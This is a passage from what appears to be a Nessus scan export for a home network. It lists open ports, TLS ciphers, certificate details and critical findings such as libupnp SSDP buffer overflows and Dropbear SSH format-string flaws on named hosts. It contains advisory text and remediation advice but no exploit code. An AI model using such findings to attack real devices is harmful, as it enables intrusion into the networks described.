    Simple Service Discovery Protocol (SSDP) requests. An
    unauthenticated, remote attacker can exploit these
    issues, via a specially crafted SSDP request, to execute
    arbitrary code. (CVE-2012-5961, CVE-2012-5962,
    CVE-2012-5963, CVE-2012-5964, CVE-2012-5965)		Upgrade to libupnp version 1.6.18 or later. If libupnp is used as a
third party library by a different application, contact the vendor of
that application for a fix.		http://www.nessus.org/u?46d66d2f
https://help.rapid7.com/?community
http://www.nessus.org/u?d381943f
http://www.nessus.org/u?8642ada6
http://www.nessus.org/u?a76191f3		
  Server banner : Linux/3.10.92-stih419_gemini, UPnP/1.0, Portable SDK for UPnP devices/1.6.13
  Source: UDP
  Installed version : 1.6.13
  Fixed version : 1.6.18
				9.8		8.3		9.1		Critical		57602		CERT:922681;EDB-ID:24455				2/1/13		3/2/20		TRUE

		93650		CVE-2016-7406		10		Critical		192.168.0.28		tcp		22		Dropbear SSH Server < 2016.72 Multiple Vulnerabilities		The SSH service running on the remote host is affected by multiple
vulnerabilities.		According to its self-reported version in its banner, Dropbear SSH
running on the remote host is prior to 2016.74. It is, therefore,
affected by the following vulnerabilities :

  - A format string flaw exists due to improper handling of
    string format specifiers (e.g., %s and %x) in usernames
    and host arguments. An unauthenticated, remote attacker
    can exploit this to execute arbitrary code with root
    privileges. (CVE-2016-7406)

  - A flaw exists in dropbearconvert due to improper
    handling of specially crafted OpenSSH key files. An
    unauthenticated, remote attacker can exploit this to
    execute arbitrary code. (CVE-2016-7407)

  - A flaw exists in dbclient when handling the -m or -c
    arguments in scripts. An unauthenticated, remote attacker
    can exploit this, via a specially crafted script, to
    execute arbitrary code. (CVE-2016-7408)

  - A flaw exists in dbclient or dropbear server if they are
    compiled with the DEBUG_TRACE option and then run using
    the -v switch. A local attacker can exploit this to
    disclose process memory. (CVE-2016-7409)		Upgrade to Dropbear SSH version 2016.74 or later.		https://matt.ucc.asn.au/dropbear/CHANGES		
  Version source    : SSH-2.0-dropbear_2015.67
  Installed version : 2015.67
  Fixed version     : 2016.74
				9.8		7.4		8.5		Critical		92970;92972;92973;92974						9/22/16		11/14/19

		110723						None		192.168.0.2		tcp		0		Target Credential Status by Authentication Protocol - No Credentials Provided		Nessus was able to find common ports used for local checks,
however, no credentials were provided in the scan policy.		Nessus was not able to successfully authenticate directly to the
remote target on an available authentication protocol. Nessus was
able to connect to the remote port and identify that the service
running on the port supports an authentication protocol, but Nessus
failed to authenticate to the remote service using the provided
credentials. There may have been a protocol failure that prevented
authentication from being attempted or all of the provided credentials
for the authentication protocol may be invalid. See plugin output for
error details.

Please note the following :

- This plugin reports per protocol, so it is possible for
  valid credentials to be provided for one protocol and not
  another. For example, authentication may succeed via SSH
  but fail via SMB, while no credentials were provided for
  an available SNMP service.

- Providing valid credentials for all available
  authentication protocols may improve scan coverage, but
  the value of successful authentication for a given
  protocol may vary from target to target depending upon
  what data (if any) is gathered from the target via that
  protocol. For example, successful authentication via SSH
  is more valuable for Linux targets than for Windows
  targets, and likewise successful authentication via SMB
  is more valuable for Windows targets than for Linux
  targets.		n/a				SSH was detected on port 22 but no credentials were provided.
SSH local checks were not enabled.

										None				IAVB:0001-B-0504				6/27/18		10/15/20

		117886						None		192.168.0.2		tcp		0		Local Checks Not Enabled (info)		Local checks were not enabled.		Nessus did not enable local checks on the remote host. This does not
necessarily indicate a problem with the scan. Credentials may not have
been provided, local checks may not be available for the target, the
target may not have been identified, or another issue may have
occurred that prevented local checks from being enabled. See plugin
output for details.

This plugin reports informational findings related to local checks not
being enabled. For failure information, see plugin 21745 :
'Authentication Failure - Local Checks Not Run'.		n/a				
The following issues were reported :

  - Plugin      : no_local_checks_credentials.nasl
    Plugin ID   : 110723
    Plugin Name : Target Credential Status by Authentication Protocol - No Credentials Provided
    Message     : 
Credentials were not provided for detected SSH service.
										None				IAVB:0001-B-0515				10/2/18		9/22/20

		10114		CVE-1999-0524		0		None		192.168.0.20		icmp		0		ICMP Timestamp Request Remote Date Disclosure		It is possible to determine the exact time set on the remote host.		The remote host answers to an ICMP timestamp request.  This allows an
attacker to know the date that is set on the targeted machine, which
may assist an unauthenticated, remote attacker in defeating time-based
authentication protocols.

Timestamps returned from machines running Windows Vista / 7 / 2008 /
2008 R2 are deliberately incorrect, but usually within 1000 seconds of
the actual system time.		Filter out the ICMP timestamp requests (13), and the outgoing ICMP
timestamp replies (14).				The difference between the local and remote clocks is -1 seconds.
				0						None				CWE:200				8/1/99		10/4/19

		10267						None		192.168.0.20		tcp		22		SSH Server Type and Version Information		An SSH server is listening on this port.		It is possible to obtain information about the remote SSH server by
sending an empty authentication request.		n/a				
SSH version : SSH-2.0-dropbear_2015.67
SSH supported authentication : publickey,password
										None				IAVT:0001-T-0933				10/12/99		9/22/20

		10287						None		192.168.0.20		udp		0		Traceroute Information		It was possible to obtain traceroute information.		Makes a traceroute to the remote host.		n/a				For your information, here is the traceroute from 192.168.0.35 to 192.168.0.20 : 
192.168.0.35
192.168.0.20

Hop Count: 1
										None								11/27/99		8/20/20

		10863						None		192.168.0.20		tcp		443		SSL Certificate Information		This plugin displays the SSL certificate.		This plugin connects to every SSL-related port and attempts to 
extract and dump the X.509 certificate.		n/a				Subject Name: 

Country: CN
Common Name: TP-Link

Issuer Name: 

Country: CN
Common Name: TP-Link

Serial Number: 00 8A 17 BB 72 B0 B4 07 41 

Version: 1

Signature Algorithm: SHA-256 With RSA Encryption

Not Valid Before: Jul 03 10:51:25 2020 GMT
Not Valid After: Jul 02 10:51:25 2025 GMT

Public Key Info: 

Algorithm: RSA Encryption
Key Length: 1024 bits
Public Key: 00 D7 AE C7 E0 5B 00 63 98 DA 1D CA 32 06 35 4B 67 F4 F4 0E 
            99 80 08 EB 11 F7 26 1B 9F 49 D3 E3 A5 1C 60 F4 CE F2 4C 4A 
            77 A0 A7 73 33 E2 E1 4F 24 8F 76 44 C2 19 7E CA 6A 8A 93 38 
            B3 A4 5C 2D 74 24 F5 D4 63 96 7F BA EA 18 03 CC 6E 56 B4 7E 
            D8 DC 1A C1 9F C6 5F 47 3F C5 99 74 44 A9 5C D6 24 77 DA 7F 
            C1 E4 F1 01 CD CD CC 92 65 51 CA 26 02 10 C7 69 8E 65 1F 4D 
            66 AF BB 52 DD D9 54 09 81 
Exponent: 01 00 01 

Signature Length: 128 bytes / 1024 bits
Signature: 00 4D 95 42 AC 90 76 B5 40 94 CB 3D B8 27 0D 7C 15 62 33 37 
           D7 72 C3 09 7E 45 B3 4F EA 1B A0 8E A3 DE 05 21 3B 15 E4 47 
           B0 75 31 48 CD 02 C7 1B FA 2A 14 B1 84 9D 58 E0 91 48 7E 17 
           4F 34 C8 09 EF B0 E3 58 B6 8B DE 0C 7E 6F C9 E6 F0 6F 3D 6E 
           AD D5 DB ED F4 B6 DE 1A 12 1E D4 3E DC 48 DD C6 08 FD 63 4F 
           A4 D4 8A 55 65 46 78 B3 BD 98 6D 66 46 EE B5 B9 BB 41 15 93 
           80 DC E7 0E 26 FE E2 28 CD 

Fingerprints : 

SHA-256 Fingerprint: C0 3A 18 70 D6 91 02 94 23 8D 31 52 7F 31 FF 9D 21 F9 C4 07 
                     B1 E7 57 29 FA 2F 86 FF B0 F9 A6 44 
SHA-1 Fingerprint: 62 7D 96 DB 8D 57 77 92 3B B4 D9 96 B4 F3 95 D4 12 6D BE 8E 
MD5 Fingerprint: 73 E5 2A B8 48 9C 31 5B 31 3B A5 E8 D8 AA DE 0E 


PEM certificate : 

-----BEGIN CERTIFICATE-----

-----END CERTIFICATE-----										None								5/19/08		10/26/20

		11219						None		192.168.0.20		tcp		22		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 22/tcp was found to be open										None								2/4/09		9/14/20

		11219						None		192.168.0.20		tcp		80		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 80/tcp was found to be open										None								2/4/09		9/14/20

		11219						None		192.168.0.20		tcp		443		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 443/tcp was found to be open										None								2/4/09		9/14/20

		11936						None		192.168.0.20		tcp		0		OS Identification		It is possible to guess the remote operating system.		Using a combination of remote probes (e.g., TCP/IP, SMB, HTTP, NTP,
SNMP, etc.), it is possible to guess the name of the remote operating
system in use. It is also possible sometimes to guess the version of
the operating system.		n/a				
Remote operating system : Linux Kernel 3.1
Linux Kernel 3.3
Confidence level : 59
Method : SinFP

 
The remote host is running one of these operating systems : 
Linux Kernel 3.1
Linux Kernel 3.3										None								12/9/03		3/9/20

		12053						None		192.168.0.20		tcp		0		Host Fully Qualified Domain Name (FQDN) Resolution		It was possible to resolve the name of the remote host.		Nessus was able to resolve the fully qualified domain name (FQDN) of
the remote host.		n/a				
192.168.0.20 resolves as deco-E4R.
										None								2/11/04		4/14/17

		19506						None		192.168.0.20		tcp		0		Nessus Scan Information		This plugin displays information about the Nessus scan.		This plugin displays, for each tested host, information about the
scan itself :

  - The version of the plugin set.
  - The type of scanner (Nessus or Nessus Home).
  - The version of the Nessus Engine.
  - The port scanner(s) used.
  - The port range scanned.
  - Whether credentialed or third-party patch management
    checks are possible.
  - Whether the display of superseded patches is enabled
  - The date of the scan.
  - The duration of the scan.
  - The number of hosts scanned in parallel.
  - The number of checks done in parallel.		n/a				Information about this scan : 

Nessus version : 8.12.1
Plugin feed version : 202011051454
Scanner edition used : Nessus Home
Scan type : Normal
Scan policy used : Basic Network Scan
Scanner IP : 192.168.0.35
Port scanner(s) : nessus_syn_scanner 
Port range : default
Thorough tests : no
Experimental tests : no
Paranoia level : 1
Report verbosity : 1
Safe checks : yes
Optimize the test : yes
Credentialed checks : no
Patch management checks : None
Display superseded patches : yes (supersedence plugin launched)
CGI scanning : disabled
Web application tests : disabled
Max hosts : 30
Max checks : 4
Recv timeout : 5
Backports : None
Allow post-scan editing: Yes
Scan Start Date : 2020/11/5 13:09 EST
Scan duration : 298 sec
										None								8/26/05		8/27/20

		21643						None		192.168.0.20		tcp		443		SSL Cipher Suites Supported		The remote service encrypts communications using SSL.		This plugin detects which SSL ciphers are supported by the remote
service for encrypting communications.		n/a		https://www.openssl.org/docs/man1.1.0/apps/ciphers.html
http://www.nessus.org/u?3a040ada		
Here is the list of SSL ciphers supported by the remote server :
Each group is reported per SSL Version.

SSL Version : TLSv1
  Low Strength Ciphers (<= 64-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    DES-CBC-SHA                   0x00, 0x09       RSA           RSA      DES-CBC(56)            SHA1

  Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    DES-CBC3-SHA                  0x00, 0x0A       RSA           RSA      3DES-CBC(168)          SHA1

  High Strength Ciphers (>= 112-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    AES128-SHA                    0x00, 0x2F       RSA           RSA      AES-CBC(128)           SHA1
    AES256-SHA                    0x00, 0x35       RSA           RSA      AES-CBC(256)           SHA1
    RC4-MD5                       0x00, 0x04       RSA           RSA      RC4(128)               MD5
    RC4-SHA                       0x00, 0x05       RSA           RSA      RC4(128)               SHA1
    SEED-SHA                      0x00, 0x96       RSA           RSA      SEED-CBC(128)          SHA1

The fields above are :

  {Tenable ciphername}
  {Cipher ID code}
  Kex={key exchange}
  Auth={authentication}
  Encrypt={symmetric encryption method}
  MAC={message authentication code}
  {export flag}
										None								6/5/06		7/9/20

		22964						None		192.168.0.20		tcp		22		Service Detection		The remote service could be identified.		Nessus was able to identify the remote service by its banner or by
looking at the error message it sends when it receives an HTTP
request.		n/a				An SSH server is running on this port.										None								8/19/07		8/18/20

		22964						None		192.168.0.20		tcp		80		Service Detection		The remote service could be identified.		Nessus was able to identify the remote service by its banner or by
looking at the error message it sends when it receives an HTTP
request.		n/a				A web server is running on this port.										None								8/19/07		8/18/20

		22964						None		192.168.0.20		tcp		443		Service Detection		The remote service could be identified.		Nessus was able to identify the remote service by its banner or by
looking at the error message it sends when it receives an HTTP
request.		n/a				A TLSv1 server answered on this port.
										None								8/19/07		8/18/20

		22964						None		192.168.0.20		tcp		443		Service Detection		The remote service could be identified.		Nessus was able to identify the remote service by its banner or by
looking at the error message it sends when it receives an HTTP
request.		n/a				A web server is running on this port through TLSv1.										None								8/19/07		8/18/20

		24260						None		192.168.0.20		tcp		80		HyperText Transfer Protocol (HTTP) Information		Some information about the remote HTTP configuration can be extracted.		This test gives some information about the remote HTTP protocol - the
version used, whether HTTP Keep-Alive and HTTP pipelining are enabled,
etc... 

This test is informational only and does not denote any security
problem.		n/a				
Response Code : HTTP/1.1 200 OK


Protocol version : HTTP/1.1
SSL : no
Keep-Alive : yes
Options allowed : (Not implemented)
Headers :

  Connection: Keep-Alive
  Keep-Alive: timeout=20
  ETag: "736-110-5ed60b90"
  Last-Modified: Tue, 02 Jun 2020 08:19:28 GMT
  Date: Thu, 05 Nov 2020 18:11:49 GMT
  Content-Type: text/html
  Content-Length: 272
  
Response Body :

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="refresh" content="0; URL=/webpages/index.html" />
</head>
</html>
										None								1/30/07		11/22/19

		24260						None		192.168.0.20		tcp		443		HyperText Transfer Protocol (HTTP) Information		Some information about the remote HTTP configuration can be extracted.		This test gives some information about the remote HTTP protocol - the
version used, whether HTTP Keep-Alive and HTTP pipelining are enabled,
etc... 

This test is informational only and does not denote any security
problem.		n/a				
Response Code : HTTP/1.1 200 OK


Protocol version : HTTP/1.1
SSL : yes
Keep-Alive : yes
Options allowed : (Not implemented)
Headers :

  Connection: Keep-Alive
  Keep-Alive: timeout=20
  ETag: "736-110-5ed60b90"
  Last-Modified: Tue, 02 Jun 2020 08:19:28 GMT
  Date: Thu, 05 Nov 2020 18:11:50 GMT
  Content-Type: text/html
  Content-Length: 272
  
Response Body :

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="refresh" content="0; URL=/webpages/index.html" />
</head>
</html>
										None								1/30/07		11/22/19

		25220						None		192.168.0.20		tcp		0		TCP/IP Timestamps Supported		The remote service implements TCP timestamps.		The remote host implements TCP timestamps, as defined by RFC1323.  A
side effect of this feature is that the uptime of the remote host can
sometimes be computed.		n/a		http://www.ietf.org/rfc/rfc1323.txt												None								5/16/07		3/6/19

		93650		CVE-2016-7407		10		Critical		192.168.0.28		tcp		22		Dropbear SSH Server < 2016.72 Multiple Vulnerabilities		The SSH service running on the remote host is affected by multiple
vulnerabilities.		According to its self-reported version in its banner, Dropbear SSH
running on the remote host is prior to 2016.74. It is, therefore,
affected by the following vulnerabilities :

  - A format string flaw exists due to improper handling of
    string format specifiers (e.g., %s and %x) in usernames
    and host arguments. An unauthenticated, remote attacker
    can exploit this to execute arbitrary code with root
    privileges. (CVE-2016-7406)

  - A flaw exists in dropbearconvert due to improper
    handling of specially crafted OpenSSH key files. An
    unauthenticated, remote attacker can exploit this to
    execute arbitrary code. (CVE-2016-7407)

  - A flaw exists in dbclient when handling the -m or -c
    arguments in scripts. An unauthenticated, remote attacker
    can exploit this, via a specially crafted script, to
    execute arbitrary code. (CVE-2016-7408)

  - A flaw exists in dbclient or dropbear server if they are
    compiled with the DEBUG_TRACE option and then run using
    the -v switch. A local attacker can exploit this to
    disclose process memory. (CVE-2016-7409)		Upgrade to Dropbear SSH version 2016.74 or later.		https://matt.ucc.asn.au/dropbear/CHANGES		
  Version source    : SSH-2.0-dropbear_2015.67
  Installed version : 2015.67
  Fixed version     : 2016.74
				9.8		7.4		8.5		Critical		92970;92972;92973;92974						9/22/16		11/14/19

		35716						None		192.168.0.20		tcp		0		Ethernet Card Manufacturer Detection		The manufacturer can be identified from the Ethernet OUI.		Each ethernet MAC address starts with a 24-bit Organizationally 
Unique Identifier (OUI). These OUIs are registered by IEEE.		n/a		https://standards.ieee.org/faqs/regauth.html
http://www.nessus.org/u?794673b4		
The following card manufacturers were identified :

D8:47:32:3B:AD:6C : TP-LINK TECHNOLOGIES CO.,LTD.
										None								2/19/09		5/13/20

		93650		CVE-2016-7408		10		Critical		192.168.0.28		tcp		22		Dropbear SSH Server < 2016.72 Multiple Vulnerabilities		The SSH service running on the remote host is affected by multiple
vulnerabilities.		According to its self-reported version in its banner, Dropbear SSH
running on the remote host is prior to 2016.74. It is, therefore,
affected by the following vulnerabilities :

  - A format string flaw exists due to improper handling of
    string format specifiers (e.g., %s and %x) in usernames
    and host arguments. An unauthenticated, remote attacker
    can exploit this to execute arbitrary code with root
    privileges. (CVE-2016-7406)

  - A flaw exists in dropbearconvert due to improper
    handling of specially crafted OpenSSH key files. An
    unauthenticated, remote attacker can exploit this to
    execute arbitrary code. (CVE-2016-7407)

  - A flaw exists in dbclient when handling the -m or -c
    arguments in scripts. An unauthenticated, remote attacker
    can exploit this, via a specially crafted script, to
    execute arbitrary code. (CVE-2016-7408)

  - A flaw exists in dbclient or dropbear server if they are
    compiled with the DEBUG_TRACE option and then run using
    the -v switch. A local attacker can exploit this to
    disclose process memory. (CVE-2016-7409)		Upgrade to Dropbear SSH version 2016.74 or later.		https://matt.ucc.asn.au/dropbear/CHANGES		
  Version source    : SSH-2.0-dropbear_2015.67
  Installed version : 2015.67
  Fixed version     : 2016.74
				9.8		7.4		8.5		Critical		92970;92972;92973;92974						9/22/16		11/14/19

		45410						None		192.168.0.20		tcp		443		SSL Certificate 'commonName' Mismatch		The 'commonName' (CN) attribute in the SSL certificate does not match
the hostname.		The service running on the remote host presents an SSL certificate for
which the 'commonName' (CN) attribute does not match the hostname on
which the service listens.		If the machine has several names, make sure that users connect to the
service through the DNS hostname that matches the common name in the
certificate.				
The host name known by Nessus is :

  deco-e4r

The Common Name in the certificate is :

  tp-link
										None								4/3/10		6/25/19

		45590						None		192.168.0.20		tcp		0		Common Platform Enumeration (CPE)		It was possible to enumerate CPE names that matched on the remote
system.		By using information obtained from a Nessus scan, this plugin reports
CPE (Common Platform Enumeration) matches for various hardware and
software products found on a host. 

Note that if an official CPE is not available for the product, this
plugin computes the best possible CPE based on the information
available from the scan.		n/a		http://cpe.mitre.org/
https://nvd.nist.gov/products/cpe		
The remote operating system matched the following CPE's : 

  cpe:/o:linux:linux_kernel:3.1
  cpe:/o:linux:linux_kernel:3.3
										None								4/21/10		9/30/20

		46215						None		192.168.0.20		tcp		0		Inconsistent Hostname and IP Address		The remote host's hostname is not consistent with DNS information.		The name of this machine either does not resolve or resolves to a
different IP address. 

This may come from a badly configured reverse DNS or from a host file
in use on the Nessus scanning host. 

As a result, URLs in plugin output may not be directly usable in a web
browser and some web tests may be incomplete.		Fix the reverse DNS or host file.				The host name 'deco-E4R' resolves to 192.168.0.26, not to 192.168.0.20										None								5/3/10		8/5/16

		50845						None		192.168.0.20		tcp		443		OpenSSL Detection		The remote service appears to use OpenSSL to encrypt traffic.		Based on its response to a TLS request with a specially crafted
server name extension, it seems that the remote service is using the
OpenSSL library to encrypt traffic.

Note that this plugin can only detect OpenSSL implementations that
have enabled support for TLS extensions (RFC 4366).		n/a		https://www.openssl.org/												None								11/30/10		6/12/20

		93650		CVE-2016-7409		10		Critical		192.168.0.28		tcp		22		Dropbear SSH Server < 2016.72 Multiple Vulnerabilities		The SSH service running on the remote host is affected by multiple
vulnerabilities.		According to its self-reported version in its banner, Dropbear SSH
running on the remote host is prior to 2016.74. It is, therefore,
affected by the following vulnerabilities :

  - A format string flaw exists due to improper handling of
    string format specifiers (e.g., %s and %x) in usernames
    and host arguments. An unauthenticated, remote attacker
    can exploit this to execute arbitrary code with root
    privileges. (CVE-2016-7406)

  - A flaw exists in dropbearconvert due to improper
    handling of specially crafted OpenSSH key files. An
    unauthenticated, remote attacker can exploit this to
    execute arbitrary code. (CVE-2016-7407)

  - A flaw exists in dbclient when handling the -m or -c
    arguments in scripts. An unauthenticated, remote attacker
    can exploit this, via a specially crafted script, to
    execute arbitrary code. (CVE-2016-7408)

  - A flaw exists in dbclient or dropbear server if they are
    compiled with the DEBUG_TRACE option and then run using
    the -v switch. A local attacker can exploit this to
    disclose process memory. (CVE-2016-7409)		Upgrade to Dropbear SSH version 2016.74 or later.		https://matt.ucc.asn.au/dropbear/CHANGES		
  Version source    : SSH-2.0-dropbear_2015.67
  Installed version : 2015.67
  Fixed version     : 2016.74
				9.8		7.4		8.5		Critical		92970;92972;92973;92974						9/22/16		11/14/19

		54615						None		192.168.0.20		tcp		0		Device Type		It is possible to guess the remote device type.		Based on the remote operating system, it is possible to determine
what the remote system type is (eg: a printer, router, general-purpose
computer, etc).		n/a				Remote device type : general-purpose
Confidence level : 59
										None								5/23/11		5/23/11

		56984						None		192.168.0.20		tcp		443		SSL / TLS Versions Supported		The remote service encrypts communications.		This plugin detects which SSL and TLS versions are supported by the
remote service for encrypting communications.		n/a				
This port supports TLSv1.0.
										None								12/1/11		7/9/20

		64394		CVE-2012-5958		10		Critical		192.168.0.29		udp		1900		Portable SDK for UPnP Devices (libupnp) < 1.6.18 Multiple Stack-based Buffer Overflows RCE		A network service running on the remote host is affected by multiple
remote code execution vulnerabilities.		According to its banner, the version of Portable SDK for UPnP Devices
(libupnp) running on the remote host is prior to 1.6.18. It is,
therefore, affected by multiple remote code execution
vulnerabilities :

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the DeviceType URN. An unauthenticated,
    remote attacker can exploit this, via a specially
    crafted SSDP request, to execute arbitrary code.
    (CVE-2012-5958)

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the UDN prior to two colons. An
    unauthenticated, remote attacker can exploit this, via a
    specially crafted SSDP request, to execute arbitrary
    code. (CVE-2012-5959)

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the UDN prior to the '::upnp:rootdevice'
    string. An unauthenticated, remote attacker can exploit
    this, via a specially crafted SSDP request, to execute
    arbitrary code. (CVE-2012-5960)

  - Multiple stack-based buffer overflow conditions exist in
    the unique_service_name() function within file
    ssdp/ssdp_server.c due to improper validation of the
    UDN, DeviceType, and ServiceType fields when parsing
    Simple Service Discovery Protocol (SSDP) requests. An
    unauthenticated, remote attacker can exploit these
    issues, via a specially crafted SSDP request, to execute
    arbitrary code. (CVE-2012-5961, CVE-2012-5962,
    CVE-2012-5963, CVE-2012-5964, CVE-2012-5965)		Upgrade to libupnp version 1.6.18 or later. If libupnp is used as a
third party library by a different application, contact the vendor of
that application for a fix.		http://www.nessus.org/u?46d66d2f
https://help.rapid7.com/?community
http://www.nessus.org/u?d381943f
http://www.nessus.org/u?8642ada6
http://www.nessus.org/u?a76191f3		
  Server banner : Linux/3.0.82-grsec, UPnP/1.0, Portable SDK for UPnP devices/1.6.13
  Source: UDP
  Installed version : 1.6.13
  Fixed version : 1.6.18
				9.8		8.3		9.1		Critical		57602		CERT:922681;EDB-ID:24455				2/1/13		3/2/20		TRUE

		62563						None		192.168.0.20		tcp		443		SSL Compression Methods Supported		The remote service supports one or more compression methods for SSL
connections.		This script detects which compression methods are supported by the
remote service for SSL connections.		n/a		http://www.iana.org/assignments/comp-meth-ids/comp-meth-ids.xml
https://tools.ietf.org/html/rfc3749
https://tools.ietf.org/html/rfc3943
https://tools.ietf.org/html/rfc5246		
Nessus was able to confirm that the following compression method is 
supported by the target :

  DEFLATE (0x01)
										None								10/16/12		6/12/20

		62565		CVE-2012-4929		2.6		Low		192.168.0.20		tcp		443		Transport Layer Security (TLS) Protocol CRIME Vulnerability		The remote service has a configuration that may make it vulnerable to
the CRIME attack.		The remote service has one of two configurations that are known to be
required for the CRIME attack :

  - SSL / TLS compression is enabled.

  - TLS advertises the SPDY protocol earlier than version 4.

Note that Nessus did not attempt to launch the CRIME attack against the
remote service.		Disable compression and / or the SPDY service.		https://www.iacr.org/cryptodb/data/paper.php?pubkey=3091
https://discussions.nessus.org/thread/5546
http://www.nessus.org/u?c44d5826
https://bz.apache.org/bugzilla/show_bug.cgi?id=53219		
The following configuration indicates that the remote service
may be vulnerable to the CRIME attack :

  - SSL / TLS compression is enabled.
						1.9				Low		55704;55707						10/16/12		12/4/19

		62565		CVE-2012-4930		2.6		Low		192.168.0.20		tcp		443		Transport Layer Security (TLS) Protocol CRIME Vulnerability		The remote service has a configuration that may make it vulnerable to
the CRIME attack.		The remote service has one of two configurations that are known to be
required for the CRIME attack :

  - SSL / TLS compression is enabled.

  - TLS advertises the SPDY protocol earlier than version 4.

Note that Nessus did not attempt to launch the CRIME attack against the
remote service.		Disable compression and / or the SPDY service.		https://www.iacr.org/cryptodb/data/paper.php?pubkey=3091
https://discussions.nessus.org/thread/5546
http://www.nessus.org/u?c44d5826
https://bz.apache.org/bugzilla/show_bug.cgi?id=53219		
The following configuration indicates that the remote service
may be vulnerable to the CRIME attack :

  - SSL / TLS compression is enabled.
						1.9				Low		55704;55707						10/16/12		12/4/19

		64394		CVE-2012-5959		10		Critical		192.168.0.29		udp		1900		Portable SDK for UPnP Devices (libupnp) < 1.6.18 Multiple Stack-based Buffer Overflows RCE		A network service running on the remote host is affected by multiple
remote code execution vulnerabilities.		According to its banner, the version of Portable SDK for UPnP Devices
(libupnp) running on the remote host is prior to 1.6.18. It is,
therefore, affected by multiple remote code execution
vulnerabilities :

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the DeviceType URN. An unauthenticated,
    remote attacker can exploit this, via a specially
    crafted SSDP request, to execute arbitrary code.
    (CVE-2012-5958)

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the UDN prior to two colons. An
    unauthenticated, remote attacker can exploit this, via a
    specially crafted SSDP request, to execute arbitrary
    code. (CVE-2012-5959)

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the UDN prior to the '::upnp:rootdevice'
    string. An unauthenticated, remote attacker can exploit
    this, via a specially crafted SSDP request, to execute
    arbitrary code. (CVE-2012-5960)

  - Multiple stack-based buffer overflow conditions exist in
    the unique_service_name() function within file
    ssdp/ssdp_server.c due to improper validation of the
    UDN, DeviceType, and ServiceType fields when parsing
    Simple Service Discovery Protocol (SSDP) requests. An
    unauthenticated, remote attacker can exploit these
    issues, via a specially crafted SSDP request, to execute
    arbitrary code. (CVE-2012-5961, CVE-2012-5962,
    CVE-2012-5963, CVE-2012-5964, CVE-2012-5965)		Upgrade to libupnp version 1.6.18 or later. If libupnp is used as a
third party library by a different application, contact the vendor of
that application for a fix.		http://www.nessus.org/u?46d66d2f
https://help.rapid7.com/?community
http://www.nessus.org/u?d381943f
http://www.nessus.org/u?8642ada6
http://www.nessus.org/u?a76191f3		
  Server banner : Linux/3.0.82-grsec, UPnP/1.0, Portable SDK for UPnP devices/1.6.13
  Source: UDP
  Installed version : 1.6.13
  Fixed version : 1.6.18
				9.8		8.3		9.1		Critical		57602		CERT:922681;EDB-ID:24455				2/1/13		3/2/20		TRUE

		64394		CVE-2012-5960		10		Critical		192.168.0.29		udp		1900		Portable SDK for UPnP Devices (libupnp) < 1.6.18 Multiple Stack-based Buffer Overflows RCE		A network service running on the remote host is affected by multiple
remote code execution vulnerabilities.		According to its banner, the version of Portable SDK for UPnP Devices
(libupnp) running on the remote host is prior to 1.6.18. It is,
therefore, affected by multiple remote code execution
vulnerabilities :

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the DeviceType URN. An unauthenticated,
    remote attacker can exploit this, via a specially
    crafted SSDP request, to execute arbitrary code.
    (CVE-2012-5958)

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the UDN prior to two colons. An
    unauthenticated, remote attacker can exploit this, via a
    specially crafted SSDP request, to execute arbitrary
    code. (CVE-2012-5959)

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the UDN prior to the '::upnp:rootdevice'
    string. An unauthenticated, remote attacker can exploit
